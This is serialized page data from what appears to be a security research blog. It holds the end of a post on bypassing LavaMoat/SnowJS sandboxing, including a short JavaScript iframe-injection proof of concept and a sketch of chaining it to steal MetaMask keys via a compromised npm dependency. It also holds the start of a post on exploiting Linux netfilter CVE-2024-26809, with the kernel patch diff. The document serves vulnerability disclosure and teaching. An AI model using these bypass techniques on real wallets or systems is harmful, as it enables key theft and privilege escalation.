iframe.",{"type":21,"tag":75,"props":50551,"children":50553},{"className":31808,"code":50552,"language":31810,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[50554],{"type":21,"tag":66,"props":50555,"children":50556},{"__ignoreMap":7},[50557],{"type":21,"tag":85,"props":50558,"children":50559},{"class":87,"line":88},[50560,50564,50568,50573,50577,50582,50586,50590,50594,50599],{"type":21,"tag":85,"props":50561,"children":50562},{"style":120},[50563],{"type":26,"value":33153},{"type":21,"tag":85,"props":50565,"children":50566},{"style":114},[50567],{"type":26,"value":73},{"type":21,"tag":85,"props":50569,"children":50570},{"style":1021},[50571],{"type":26,"value":50572},"execCommand",{"type":21,"tag":85,"props":50574,"children":50575},{"style":114},[50576],{"type":26,"value":1439},{"type":21,"tag":85,"props":50578,"children":50579},{"style":5026},[50580],{"type":26,"value":50581},"'insertHTML'",{"type":21,"tag":85,"props":50583,"children":50584},{"style":114},[50585],{"type":26,"value":256},{"type":21,"tag":85,"props":50587,"children":50588},{"style":102},[50589],{"type":26,"value":2530},{"type":21,"tag":85,"props":50591,"children":50592},{"style":114},[50593],{"type":26,"value":256},{"type":21,"tag":85,"props":50595,"children":50596},{"style":5026},[50597],{"type":26,"value":50598},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":21,"tag":85,"props":50600,"children":50601},{"style":114},[50602],{"type":26,"value":777},{"type":21,"tag":10022,"props":50604,"children":50606},{"id":50605},"impact-on-lavamoat-scuttling",[50607],{"type":26,"value":50608},"Impact On Lavamoat Scuttling",{"type":21,"tag":22,"props":50610,"children":50611},{},[50612],{"type":26,"value":50613},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":21,"tag":22,"props":50615,"children":50616},{},[50617,50619,50624,50626,50631],{"type":26,"value":50618},"For the exploit, the only used functions are in ",{"type":21,"tag":66,"props":50620,"children":50622},{"className":50621},[],[50623],{"type":26,"value":33153},{"type":26,"value":50625}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":21,"tag":66,"props":50627,"children":50629},{"className":50628},[],[50630],{"type":26,"value":37865},{"type":26,"value":50632}," object.",{"type":21,"tag":22,"props":50634,"children":50635},{},[50636,50638,50643],{"type":26,"value":50637},"Consider this example, which runs a scuttled ",{"type":21,"tag":66,"props":50639,"children":50641},{"className":50640},[],[50642],{"type":26,"value":33143},{"type":26,"value":25909},{"type":21,"tag":75,"props":50645,"children":50647},{"className":31808,"code":50646,"language":31810,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[50648],{"type":21,"tag":66,"props":50649,"children":50650},{"__ignoreMap":7},[50651,50687,50724,50767],{"type":21,"tag":85,"props":50652,"children":50653},{"class":87,"line":88},[50654,50658,50662,50666,50670,50674,50678,50683],{"type":21,"tag":85,"props":50655,"children":50656},{"style":120},[50657],{"type":26,"value":33153},{"type":21,"tag":85,"props":50659,"children":50660},{"style":114},[50661],{"type":26,"value":73},{"type":21,"tag":85,"props":50663,"children":50664},{"style":120},[50665],{"type":26,"value":32845},{"type":21,"tag":85,"props":50667,"children":50668},{"style":114},[50669],{"type":26,"value":73},{"type":21,"tag":85,"props":50671,"children":50672},{"style":120},[50673],{"type":26,"value":35419},{"type":21,"tag":85,"props":50675,"children":50676},{"style":169},[50677],{"type":26,"value":1941},{"type":21,"tag":85,"props":50679,"children":50680},{"style":5026},[50681],{"type":26,"value":50682}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":21,"tag":85,"props":50684,"children":50685},{"style":114},[50686],{"type":26,"value":2535},{"type":21,"tag":85,"props":50688,"children":50689},{"class":87,"line":98},[50690,50694,50698,50702,50706,50711,50715,50720],{"type":21,"tag":85,"props":50691,"children":50692},{"style":120},[50693],{"type":26,"value":33153},{"type":21,"tag":85,"props":50695,"children":50696},{"style":114},[50697],{"type":26,"value":73},{"type":21,"tag":85,"props":50699,"children":50700},{"style":1021},[50701],{"type":26,"value":35444},{"type":21,"tag":85,"props":50703,"children":50704},{"style":114},[50705],{"type":26,"value":1439},{"type":21,"tag":85,"props":50707,"children":50708},{"style":5026},[50709],{"type":26,"value":50710},"'test'",{"type":21,"tag":85,"props":50712,"children":50713},{"style":114},[50714],{"type":26,"value":21170},{"type":21,"tag":85,"props":50716,"children":50717},{"style":1021},[50718],{"type":26,"value":50719},"focus",{"type":21,"tag":85,"props":50721,"children":50722},{"style":114},[50723],{"type":26,"value":4437},{"type":21,"tag":85,"props":50725,"children":50726},{"class":87,"line":151},[50727,50731,50735,50739,50743,50747,50751,50755,50759,50763],{"type":21,"tag":85,"props":50728,"children":50729},{"style":120},[50730],{"type":26,"value":33153},{"type":21,"tag":85,"props":50732,"children":50733},{"style":114},[50734],{"type":26,"value":73},{"type":21,"tag":85,"props":50736,"children":50737},{"style":1021},[50738],{"type":26,"value":50572},{"type":21,"tag":85,"props":50740,"children":50741},{"style":114},[50742],{"type":26,"value":1439},{"type":21,"tag":85,"props":50744,"children":50745},{"style":5026},[50746],{"type":26,"value":50581},{"type":21,"tag":85,"props":50748,"children":50749},{"style":114},[50750],{"type":26,"value":256},{"type":21,"tag":85,"props":50752,"children":50753},{"style":102},[50754],{"type":26,"value":2530},{"type":21,"tag":85,"props":50756,"children":50757},{"style":114},[50758],{"type":26,"value":256},{"type":21,"tag":85,"props":50760,"children":50761},{"style":5026},[50762],{"type":26,"value":50598},{"type":21,"tag":85,"props":50764,"children":50765},{"style":114},[50766],{"type":26,"value":777},{"type":21,"tag":85,"props":50768,"children":50769},{"class":87,"line":160},[50770,50774,50778,50783,50787,50791,50796,50800,50805,50810,50814,50818,50822,50826,50830,50834],{"type":21,"tag":85,"props":50771,"children":50772},{"style":120},[50773],{"type":26,"value":33153},{"type":21,"tag":85,"props":50775,"children":50776},{"style":114},[50777],{"type":26,"value":73},{"type":21,"tag":85,"props":50779,"children":50780},{"style":1021},[50781],{"type":26,"value":50782},"getElementsByTagName",{"type":21,"tag":85,"props":50784,"children":50785},{"style":114},[50786],{"type":26,"value":1439},{"type":21,"tag":85,"props":50788,"children":50789},{"style":5026},[50790],{"type":26,"value":37178},{"type":21,"tag":85,"props":50792,"children":50793},{"style":114},[50794],{"type":26,"value":50795},")[",{"type":21,"tag":85,"props":50797,"children":50798},{"style":2285},[50799],{"type":26,"value":4789},{"type":21,"tag":85,"props":50801,"children":50802},{"style":114},[50803],{"type":26,"value":50804},"].",{"type":21,"tag":85,"props":50806,"children":50807},{"style":120},[50808],{"type":26,"value":50809},"contentWindow",{"type":21,"tag":85,"props":50811,"children":50812},{"style":114},[50813],{"type":26,"value":73},{"type":21,"tag":85,"props":50815,"children":50816},{"style":1021},[50817],{"type":26,"value":33143},{"type":21,"tag":85,"props":50819,"children":50820},{"style":114},[50821],{"type":26,"value":1439},{"type":21,"tag":85,"props":50823,"children":50824},{"style":120},[50825],{"type":26,"value":33153},{"type":21,"tag":85,"props":50827,"children":50828},{"style":114},[50829],{"type":26,"value":73},{"type":21,"tag":85,"props":50831,"children":50832},{"style":120},[50833],{"type":26,"value":33163},{"type":21,"tag":85,"props":50835,"children":50836},{"style":114},[50837],{"type":26,"value":777},{"type":21,"tag":10022,"props":50839,"children":50841},{"id":50840},"snowjs-patch",[50842],{"type":26,"value":50843},"SnowJS Patch",{"type":21,"tag":22,"props":50845,"children":50846},{},[50847,50849,50856,50858,50865],{"type":26,"value":50848},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":21,"tag":335,"props":50850,"children":50853},{"href":50851,"rel":50852},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[339],[50854],{"type":26,"value":50855},"browser feature within W3C standards",{"type":26,"value":50857},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":21,"tag":335,"props":50859,"children":50862},{"href":50860,"rel":50861},"https://github.com/weizman/Realms-Initialization-Control",[339],[50863],{"type":26,"value":50864},"Here",{"type":26,"value":50866}," is their new proposal.",{"type":21,"tag":54,"props":50868,"children":50870},{"id":50869},"chaining-the-impacts",[50871],{"type":26,"value":50872},"Chaining The Impacts",{"type":21,"tag":22,"props":50874,"children":50875},{},[50876],{"type":26,"value":50877},"We were able to find two vulnerabilities in lavamoat project:",{"type":21,"tag":841,"props":50879,"children":50880},{},[50881,50886],{"type":21,"tag":845,"props":50882,"children":50883},{},[50884],{"type":26,"value":50885},"Policy File Bypass",{"type":21,"tag":845,"props":50887,"children":50888},{},[50889],{"type":26,"value":50890},"Scuttling Bypass",{"type":21,"tag":22,"props":50892,"children":50893},{},[50894],{"type":26,"value":50895},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":21,"tag":22,"props":50897,"children":50898},{},[50899],{"type":26,"value":50900},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":21,"tag":54,"props":50902,"children":50903},{"id":29375},[50904],{"type":26,"value":19373},{"type":21,"tag":22,"props":50906,"children":50907},{},[50908],{"type":26,"value":50909},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":21,"tag":31791,"props":50911,"children":50912},{"style":31793},[50913],{"type":21,"tag":4681,"props":50914,"children":50917},{"src":50915,"alt":50916,"style":31799},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":21,"tag":18846,"props":50919,"children":50921},{"className":50920,"dataFootnotes":7},[18849],[50922,50927],{"type":21,"tag":54,"props":50923,"children":50925},{"className":50924,"id":15900},[18854],[50926],{"type":26,"value":18857},{"type":21,"tag":841,"props":50928,"children":50929},{},[50930],{"type":21,"tag":845,"props":50931,"children":50932},{"id":30810},[50933,50935,50942,50943],{"type":26,"value":50934},"Excluding SES, which was covered ",{"type":21,"tag":335,"props":50936,"children":50939},{"href":50937,"rel":50938},"https://osec.io/blog/2023-11-01-metamask-snaps",[339],[50940],{"type":26,"value":50941},"in our last article",{"type":26,"value":790},{"type":21,"tag":335,"props":50944,"children":50946},{"href":30838,"ariaLabel":18960,"className":50945,"dataFootnoteBackref":7},[18962],[50947],{"type":26,"value":18965},{"type":21,"tag":3632,"props":50949,"children":50950},{},[50951],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":50953},[50954,50958,50964,50970,50971,50972],{"id":19382,"depth":98,"text":19385,"children":50955},[50956,50957],{"id":29458,"depth":151,"text":29461},{"id":47575,"depth":151,"text":47578},{"id":48331,"depth":98,"text":48334,"children":50959},[50960,50961,50962,50963],{"id":48582,"depth":151,"text":48585},{"id":49057,"depth":151,"text":49060},{"id":49714,"depth":151,"text":49717},{"id":49837,"depth":151,"text":49840},{"id":49955,"depth":98,"text":49958,"children":50965},[50966,50967,50968,50969],{"id":50083,"depth":151,"text":50086},{"id":50445,"depth":151,"text":50448},{"id":50605,"depth":151,"text":50608},{"id":50840,"depth":151,"text":50843},{"id":50869,"depth":98,"text":50872},{"id":29375,"depth":98,"text":19373},{"id":15900,"depth":98,"text":18857},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50978,"description":50979,"author":50980,"image":50981,"date":50983,"isFeatured":16,"tags":50984,"onBlogPage":16,"body":50987,"_type":3642,"_id":61368,"_source":3644,"_file":61369,"_stem":61370,"_extension":3647},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50982,"height":9678,"width":14},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50985,50986],"kernal","linux",{"type":18,"children":50988,"toc":61336},[50989,51002,51016,51021,51027,51037,51042,51048,51053,51071,51085,51094,51127,51132,51138,51157,51190,51196,51209,51419,51486,52050,52069,52294,52353,52359,52379,52419,52607,52612,52763,52819,52824,53338,53357,53626,53652,54161,54228,54234,54270,54275,54541,54574,54586,54613,54625,54630,54636,54657,54663,54684,54707,55539,55545,55585,56125,56136,56170,56237,56291,56523,56529,56573,57037,57043,57054,57084,57167,57172,57177,57213,57265,57296,57851,57857,57874,57880,57885,57891,57919,58112,58132,58148,58743,58749,58784,58807,58819,58825,58853,59450,59475,60444,60455,60468,60481,61247,61261,61267,61279,61285,61313,61318,61322,61327,61332],{"type":21,"tag":22,"props":50990,"children":50991},{},[50992,50994,51001],{"type":26,"value":50993},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":21,"tag":335,"props":50995,"children":50998},{"href":50996,"rel":50997},"https://google.github.io/security-research/kernelctf/rules.html",[339],[50999],{"type":26,"value":51000},"KernelCTF VRP",{"type":26,"value":73},{"type":21,"tag":22,"props":51003,"children":51004},{},[51005,51007,51014],{"type":26,"value":51006},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":21,"tag":335,"props":51008,"children":51011},{"href":51009,"rel":51010},"https://github.com/conlonialC",[339],[51012],{"type":26,"value":51013},"lonial con",{"type":26,"value":51015},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":21,"tag":22,"props":51017,"children":51018},{},[51019],{"type":26,"value":51020},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":21,"tag":54,"props":51022,"children":51024},{"id":51023},"the-kernel",[51025],{"type":26,"value":51026},"The kernel",{"type":21,"tag":22,"props":51028,"children":51029},{},[51030,51032],{"type":26,"value":51031},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":21,"tag":4681,"props":51033,"children":51036},{"alt":51034,"src":51035},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":21,"tag":22,"props":51038,"children":51039},{},[51040],{"type":26,"value":51041},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":21,"tag":10022,"props":51043,"children":51045},{"id":51044},"kernel-exploitation",[51046],{"type":26,"value":51047},"Kernel exploitation",{"type":21,"tag":22,"props":51049,"children":51050},{},[51051],{"type":26,"value":51052},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":21,"tag":17108,"props":51054,"children":51055},{},[51056,51061,51066],{"type":21,"tag":845,"props":51057,"children":51058},{},[51059],{"type":26,"value":51060},"Trigger some memory corruption in some kernel subsystem",{"type":21,"tag":845,"props":51062,"children":51063},{},[51064],{"type":26,"value":51065},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":21,"tag":845,"props":51067,"children":51068},{},[51069],{"type":26,"value":51070},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":21,"tag":22,"props":51072,"children":51073},{},[51074,51076,51083],{"type":26,"value":51075},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":21,"tag":335,"props":51077,"children":51080},{"href":51078,"rel":51079},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[339],[51081],{"type":26,"value":51082},"blog post",{"type":26,"value":51084}," to become more familiar with the topic.",{"type":21,"tag":54,"props":51086,"children":51088},{"id":51087},"nf_tables",[51089],{"type":21,"tag":66,"props":51090,"children":51092},{"className":51091},[],[51093],{"type":26,"value":51087},{"type":21,"tag":22,"props":51095,"children":51096},{},[51097,51102,51104,51110,51111,51117,51119,51125],{"type":21,"tag":66,"props":51098,"children":51100},{"className":51099},[],[51101],{"type":26,"value":51087},{"type":26,"value":51103}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":21,"tag":335,"props":51105,"children":51108},{"href":51106,"rel":51107},"https://pwning.tech/nftables",[339],[51109],{"type":26,"value":4779},{"type":26,"value":256},{"type":21,"tag":335,"props":51112,"children":51115},{"href":51113,"rel":51114},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[339],[51116],{"type":26,"value":3895},{"type":26,"value":51118},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":21,"tag":66,"props":51120,"children":51122},{"className":51121},[],[51123],{"type":26,"value":51124},"nf_table",{"type":26,"value":51126}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":21,"tag":22,"props":51128,"children":51129},{},[51130],{"type":26,"value":51131},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":21,"tag":10022,"props":51133,"children":51135},{"id":51134},"transactions",[51136],{"type":26,"value":51137},"Transactions",{"type":21,"tag":22,"props":51139,"children":51140},{},[51141,51143,51148,51150,51155],{"type":26,"value":51142},"A transaction is an interaction that updates ",{"type":21,"tag":66,"props":51144,"children":51146},{"className":51145},[],[51147],{"type":26,"value":51087},{"type":26,"value":51149}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":21,"tag":66,"props":51151,"children":51153},{"className":51152},[],[51154],{"type":26,"value":51087},{"type":26,"value":51156}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":21,"tag":17108,"props":51158,"children":51159},{},[51160,51170,51180],{"type":21,"tag":845,"props":51161,"children":51162},{},[51163,51168],{"type":21,"tag":873,"props":51164,"children":51165},{},[51166],{"type":26,"value":51167},"Control plane",{"type":26,"value":51169},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":21,"tag":845,"props":51171,"children":51172},{},[51173,51178],{"type":21,"tag":873,"props":51174,"children":51175},{},[51176],{"type":26,"value":51177},"Commit path",{"type":26,"value":51179},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":21,"tag":845,"props":51181,"children":51182},{},[51183,51188],{"type":21,"tag":873,"props":51184,"children":51185},{},[51186],{"type":26,"value":51187},"Abort path",{"type":26,"value":51189},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":21,"tag":54,"props":51191,"children":51193},{"id":51192},"vulnerability-details",[51194],{"type":26,"value":51195},"Vulnerability details",{"type":21,"tag":22,"props":51197,"children":51198},{},[51199,51201,51207],{"type":26,"value":51200},"Moving on, let's check out the ",{"type":21,"tag":335,"props":51202,"children":51205},{"href":51203,"rel":51204},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[339],[51206],{"type":26,"value":4994},{"type":26,"value":51208}," that fixed the bug.",{"type":21,"tag":75,"props":51210,"children":51212},{"className":40809,"code":51211,"language":40811,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[51213],{"type":21,"tag":66,"props":51214,"children":51215},{"__ignoreMap":7},[51216,51224,51232,51240,51248,51256,51263,51271,51278,51286,51294,51302,51310,51318,51326,51334,51342,51350,51358,51366,51373,51381,51389,51397,51404,51411],{"type":21,"tag":85,"props":51217,"children":51218},{"class":87,"line":88},[51219],{"type":21,"tag":85,"props":51220,"children":51221},{"style":102},[51222],{"type":26,"value":51223},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":85,"props":51225,"children":51226},{"class":87,"line":98},[51227],{"type":21,"tag":85,"props":51228,"children":51229},{"style":114},[51230],{"type":26,"value":51231},"index c0ceea068936a6..df8de509024637 100644\n",{"type":21,"tag":85,"props":51233,"children":51234},{"class":87,"line":151},[51235],{"type":21,"tag":85,"props":51236,"children":51237},{"style":102},[51238],{"type":26,"value":51239},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":85,"props":51241,"children":51242},{"class":87,"line":160},[51243],{"type":21,"tag":85,"props":51244,"children":51245},{"style":102},[51246],{"type":26,"value":51247},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":85,"props":51249,"children":51250},{"class":87,"line":185},[51251],{"type":21,"tag":85,"props":51252,"children":51253},{"style":114},[51254],{"type":26,"value":51255},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":85,"props":51257,"children":51258},{"class":87,"line":501},[51259],{"type":21,"tag":85,"props":51260,"children":51261},{"emptyLinePlaceholder":16},[51262],{"type":26,"value":703},{"type":21,"tag":85,"props":51264,"children":51265},{"class":87,"line":697},[51266],{"type":21,"tag":85,"props":51267,"children":51268},{"style":114},[51269],{"type":26,"value":51270},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":21,"tag":85,"props":51272,"children":51273},{"class":87,"line":706},[51274],{"type":21,"tag":85,"props":51275,"children":51276},{"emptyLinePlaceholder":16},[51277],{"type":26,"value":703},{"type":21,"tag":85,"props":51279,"children":51280},{"class":87,"line":1100},[51281],{"type":21,"tag":85,"props":51282,"children":51283},{"style":114},[51284],{"type":26,"value":51285},"  if (m) {\n",{"type":21,"tag":85,"props":51287,"children":51288},{"class":87,"line":1339},[51289],{"type":21,"tag":85,"props":51290,"children":51291},{"style":114},[51292],{"type":26,"value":51293},"   rcu_barrier();\n",{"type":21,"tag":85,"props":51295,"children":51296},{"class":87,"line":1348},[51297],{"type":21,"tag":85,"props":51298,"children":51299},{"style":114},[51300],{"type":26,"value":51301}," \n",{"type":21,"tag":85,"props":51303,"children":51304},{"class":87,"line":1386},[51305],{"type":21,"tag":85,"props":51306,"children":51307},{"style":5026},[51308],{"type":26,"value":51309},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":85,"props":51311,"children":51312},{"class":87,"line":1394},[51313],{"type":21,"tag":85,"props":51314,"children":51315},{"style":5026},[51316],{"type":26,"value":51317},"-\n",{"type":21,"tag":85,"props":51319,"children":51320},{"class":87,"line":1402},[51321],{"type":21,"tag":85,"props":51322,"children":51323},{"style":114},[51324],{"type":26,"value":51325},"   for_each_possible_cpu(cpu)\n",{"type":21,"tag":85,"props":51327,"children":51328},{"class":87,"line":3145},[51329],{"type":21,"tag":85,"props":51330,"children":51331},{"style":114},[51332],{"type":26,"value":51333},"    pipapo_free_scratch(m, cpu);\n",{"type":21,"tag":85,"props":51335,"children":51336},{"class":87,"line":3246},[51337],{"type":21,"tag":85,"props":51338,"children":51339},{"style":114},[51340],{"type":26,"value":51341},"   free_percpu(m->scratch);\n",{"type":21,"tag":85,"props":51343,"children":51344},{"class":87,"line":3255},[51345],{"type":21,"tag":85,"props":51346,"children":51347},{"style":114},[51348],{"type":26,"value":51349},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":85,"props":51351,"children":51352},{"class":87,"line":3286},[51353],{"type":21,"tag":85,"props":51354,"children":51355},{"style":114},[51356],{"type":26,"value":51357},"  if (priv->clone) {\n",{"type":21,"tag":85,"props":51359,"children":51360},{"class":87,"line":3295},[51361],{"type":21,"tag":85,"props":51362,"children":51363},{"style":114},[51364],{"type":26,"value":51365},"   m = priv->clone;\n",{"type":21,"tag":85,"props":51367,"children":51368},{"class":87,"line":3308},[51369],{"type":21,"tag":85,"props":51370,"children":51371},{"style":114},[51372],{"type":26,"value":51301},{"type":21,"tag":85,"props":51374,"children":51375},{"class":87,"line":3333},[51376],{"type":21,"tag":85,"props":51377,"children":51378},{"style":5026},[51379],{"type":26,"value":51380},"-  if (priv->dirty)\n",{"type":21,"tag":85,"props":51382,"children":51383},{"class":87,"line":3369},[51384],{"type":21,"tag":85,"props":51385,"children":51386},{"style":5026},[51387],{"type":26,"value":51388},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":85,"props":51390,"children":51391},{"class":87,"line":3377},[51392],{"type":21,"tag":85,"props":51393,"children":51394},{"style":2285},[51395],{"type":26,"value":51396},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":85,"props":51398,"children":51399},{"class":87,"line":3386},[51400],{"type":21,"tag":85,"props":51401,"children":51402},{"style":114},[51403],{"type":26,"value":51301},{"type":21,"tag":85,"props":51405,"children":51406},{"class":87,"line":3394},[51407],{"type":21,"tag":85,"props":51408,"children":51409},{"style":114},[51410],{"type":26,"value":51325},{"type":21,"tag":85,"props":51412,"children":51413},{"class":87,"line":3410},[51414],{"type":21,"tag":85,"props":51415,"children":51416},{"style":114},[51417],{"type":26,"value":51418},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":21,"tag":22,"props":51420,"children":51421},{},[51422,51424,51430,51431,51437,51439,51445,51447,51453,51455,51460,51462,51468,51470,51476,51478,51484],{"type":26,"value":51423},"If the ",{"type":21,"tag":66,"props":51425,"children":51427},{"className":51426},[],[51428],{"type":26,"value":51429},"priv->dirty",{"type":26,"value":11408},{"type":21,"tag":66,"props":51432,"children":51434},{"className":51433},[],[51435],{"type":26,"value":51436},"priv->clone",{"type":26,"value":51438}," variables are set, ",{"type":21,"tag":66,"props":51440,"children":51442},{"className":51441},[],[51443],{"type":26,"value":51444},"nft_set_pipapo_match_destroy()",{"type":26,"value":51446}," is called twice, once with ",{"type":21,"tag":66,"props":51448,"children":51450},{"className":51449},[],[51451],{"type":26,"value":51452},"priv->match",{"type":26,"value":51454}," as an argument, and then again with ",{"type":21,"tag":66,"props":51456,"children":51458},{"className":51457},[],[51459],{"type":26,"value":51436},{"type":26,"value":51461},". Looking at what this function does, we can see that it is iterating over the ",{"type":21,"tag":66,"props":51463,"children":51465},{"className":51464},[],[51466],{"type":26,"value":51467},"setelem",{"type":26,"value":51469},"s of the ",{"type":21,"tag":66,"props":51471,"children":51473},{"className":51472},[],[51474],{"type":26,"value":51475},"set",{"type":26,"value":51477}," and calling ",{"type":21,"tag":66,"props":51479,"children":51481},{"className":51480},[],[51482],{"type":26,"value":51483},"nf_tables_set_elem_destroy()",{"type":26,"value":51485}," for each of them.",{"type":21,"tag":75,"props":51487,"children":51489},{"className":16935,"code":51488,"language":3918,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[51490],{"type":21,"tag":66,"props":51491,"children":51492},{"__ignoreMap":7},[51493,51540,51568,51594,51601,51622,51635,51642,51739,51747,51754,51809,51830,51837,51940,51952,51959,51995,52002,52036,52043],{"type":21,"tag":85,"props":51494,"children":51495},{"class":87,"line":88},[51496,51501,51506,51511,51515,51519,51523,51528,51532,51536],{"type":21,"tag":85,"props":51497,"children":51498},{"style":102},[51499],{"type":26,"value":51500},"static",{"type":21,"tag":85,"props":51502,"children":51503},{"style":102},[51504],{"type":26,"value":51505}," void",{"type":21,"tag":85,"props":51507,"children":51508},{"style":1021},[51509],{"type":26,"value":51510}," 